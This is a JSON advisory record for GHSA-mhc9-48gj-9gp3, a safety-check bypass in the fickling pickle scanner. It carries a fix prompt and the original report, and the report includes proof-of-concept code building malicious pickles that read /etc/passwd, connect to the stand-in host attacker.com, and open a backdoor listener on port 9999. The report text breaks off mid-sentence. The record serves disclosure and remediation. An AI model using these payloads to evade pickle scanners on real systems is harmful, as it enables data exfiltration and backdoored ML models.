{"answers":{"affected":"2 open source packages ship an affected version, including fickling.","exploited":"There is no known exploitation of GHSA-mhc9-48gj-9gp3 in the wild and no public exploit code.","fix":"Upgrade fickling to 0.1.8 or later.","what":"GHSA-mhc9-48gj-9gp3 is a vulnerability in fickling, published on 25 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-mhc9-48gj-9gp3 and fix it if it is affected.\n\nWhat it is: GHSA-mhc9-48gj-9gp3 is a vulnerability in fickling, published on 25 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-mhc9-48gj-9gp3 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- fickling (PyPI): affected all versions; fixed in 0.1.8\n- fickling (PyPI): affected all versions; fixed in 0.1.8\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-mhc9-48gj-9gp3/ (Markdown: https://insights.sbomify.com/GHSA-mhc9-48gj-9gp3/index.md)","id":"GHSA-mhc9-48gj-9gp3","markdown":"https://insights.sbomify.com/GHSA-mhc9-48gj-9gp3/index.md","name":"GHSA-mhc9-48gj-9gp3","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"Python pickle analysis library","requires_auth":"none","summary":"Attackers can bypass fickling's safety checks by appending a BUILD opcode to malicious pickles, allowing dangerous code execution despite safety warnings.","user_interaction":"required","vuln_class":"security_feature_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"# Assessment\n\nIt is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).\n\n# Original report\n\n### Summary\nAll 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.\n\n## Details\n\nThe bypass exploits three weaknesses in fickling's static analysis pipeline:\n\n1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `\"SMTP\"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.\n\n2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.\n\n3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).\n\n### Affected versions\n\nAll versions through 0.1.7 (latest as of 2026-02-18).\n\n### Affected APIs\n\n- `fickling.is_likely_safe()` - returns `True` for bypass payloads\n- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`\n- `fickling --check-safety` CLI - exits with code 0\n- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n\n## PoC\n\nA single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:\n\n```python\nimport io, struct, tempfile, os\n\ndef sbu(s):\n    \"\"\"SHORT_BINUNICODE opcode helper.\"\"\"\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\ndef make_exfiltration_pickle():\n    \"\"\"\n    Single pickle that:\n      1. Reads /etc/passwd via fileinput.input()\n      2. Opens TCP connection to attacker via smtplib.SMTP()\n    Both operations pass as LIKELY_SAFE.\n    \"\"\"\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n    payload = io.BytesIO()\n\n    # --- Operation 1: Read /etc/passwd ---\n    payload.write(sbu(\"fileinput\") + sbu(\"input\") + b\"\\x93\")  # STACK_GLOBAL\n    payload.write(sbu(\"/etc/passwd\") + b\"\\x85\")                # arg + TUPLE1\n    payload.write(b\"R\")                                         # REDUCE\n    payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\")  # BUILD\n    payload.write(b\"0\")                                         # POP (discard result)\n\n    # --- Operation 2: Connect to attacker ---\n    payload.write(sbu(\"smtplib\") + sbu(\"SMTP\") + b\"\\x93\")     # STACK_GLOBAL\n    payload.write(sbu(\"attacker.com\") + b\"\\x85\")               # arg + TUPLE1\n    payload.write(b\"R\")                                         # REDUCE\n    payload.write(b\"}\" + sbu(\"_x\") + sbu(\"y\") + b\"s\" + b\"b\")  # BUILD\n    payload.write(b\".\")                                         # STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"\u003cQ\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\n# Generate and test\ndata = make_exfiltration_pickle()\nwith open(\"/tmp/exfil.pkl\", \"wb\") as f:\n    f.write(data)\n\nimport fickling\nprint(fickling.is_likely_safe(\"/tmp/exfil.pkl\"))\n# Output: True  \u003c-- BYPASSED (file read + network connection in one pickle)\n```\n\nfickling decompiles this to:\n```python\nfrom fileinput import input\n_var0 = input('/etc/passwd')       # reads /etc/passwd\n_var1 = _var0\n_var1.__setstate__({'_x': 'y'})\nfrom smtplib import SMTP\n_var2 = SMTP('attacker.com')       # opens TCP connection to attacker\n_var3 = _var2\n_var3.__setstate__({'_x': 'y'})\nresult = _var3\n```\n\nYet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).\n\n**CLI verification:**\n```bash\n$ fickling --check-safety /tmp/exfil.pkl; echo \"EXIT: $?\"\nEXIT: 0    # BYPASSED - file read + network access passes as safe\n```\n\n**`always_check_safety()` verification:**\n```python\nimport fickling, pickle\n\nfickling.always_check_safety()\n\n# This should raise UnsafeFileError for malicious pickles, but doesn't:\nwith open(\"/tmp/exfil.pkl\", \"rb\") as f:\n    result = pickle.load(f)\n# No exception raised — malicious code executed successfully\n```\n\n**`check_safety()` context manager verification:**\n```python\nimport fickling, pickle\n\nwith fickling.check_safety():\n    with open(\"/tmp/exfil.pkl\", \"rb\") as f:\n        result = pickle.load(f)\n# No exception raised — malicious code executed successfully\n```\n\n### Backdoor listener PoC (most impactful)\n\nA pickle that opens a TCP listener on port 9999, binding to all interfaces:\n\n```python\nimport io, struct\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\ndef make_backdoor_listener():\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n    payload = io.BytesIO()\n\n    # socketserver.TCPServer via STACK_GLOBAL\n    payload.write(sbu(\"socketserver\") + sbu(\"TCPServer\") + b\"\\x93\")\n\n    # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types\n    payload.write(b\"(\")                                    # MARK\n    payload.write(sbu(\"0.0.0.0\"))                          # host string\n    payload.write(b\"J\" + struct.pack(\"\u003ci\", 9999))          # BININT port\n    payload.write(b\"t\")                                    # TUPLE\n\n    # Handler class via STACK_GLOBAL\n    payload.write(sbu(\"socketserver\") + sbu(\"BaseRequestHandler\") + b\"\\x93\")\n\n    payload.write(b\"\\x86\")  # TUPLE2 -\u003e (address, handler)\n    payload.write(b\"R\")     # REDUCE -\u003e TCPServer(address, handler)\n    payload.write(b\"N\")     # NONE\n    payload.write(b\"b\")     # BUILD(None) -\u003e no-op\n    payload.write(b\".\")     # STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"\u003cQ\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\nimport fickling, pickle, socket\ndata = make_backdoor_listener()\nwith open(\"/tmp/backdoor.pkl\", \"wb\") as f:\n    f.write(data)\n\nprint(fickling.is_likely_safe(\"/tmp/backdoor.pkl\"))\n# Output: True  \u003c-- BYPASSED\n\nserver = pickle.loads(data)\n# Port 9999 is now LISTENING on all interfaces\n\ns = socket.socket()\ns.connect((\"127.0.0.1\", 9999))\nprint(\"Connected to backdoor port!\")  # succeeds\ns.close()\nserver.server_close()\n```\n\nThe TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.\n\n## Impact\n\nAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:\n\n- **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate(","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Fickling has safety check bypass via REDUCE+BUILD opcode sequence","id":"GHSA-mhc9-48gj-9gp3","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"security_feature_bypass","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["0.1.8"],"introduced":["0"],"last_affected":[],"package":"fickling","purl":null,"source":"GHSA-mhc9-48gj-9gp3"},{"ecosystem":"PyPI","fixed":["0.1.8"],"introduced":["0"],"last_affected":[],"package":"fickling","purl":"pkg:pypi/fickling","source":"GHSA-mhc9-48gj-9gp3"}],"products":null,"published":"2026-02-25","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can bypass fickling's safety checks by appending a BUILD opcode to malicious pickles, allowing dangerous code execution despite safety warnings.","url":"https://insights.sbomify.com/GHSA-mhc9-48gj-9gp3/"}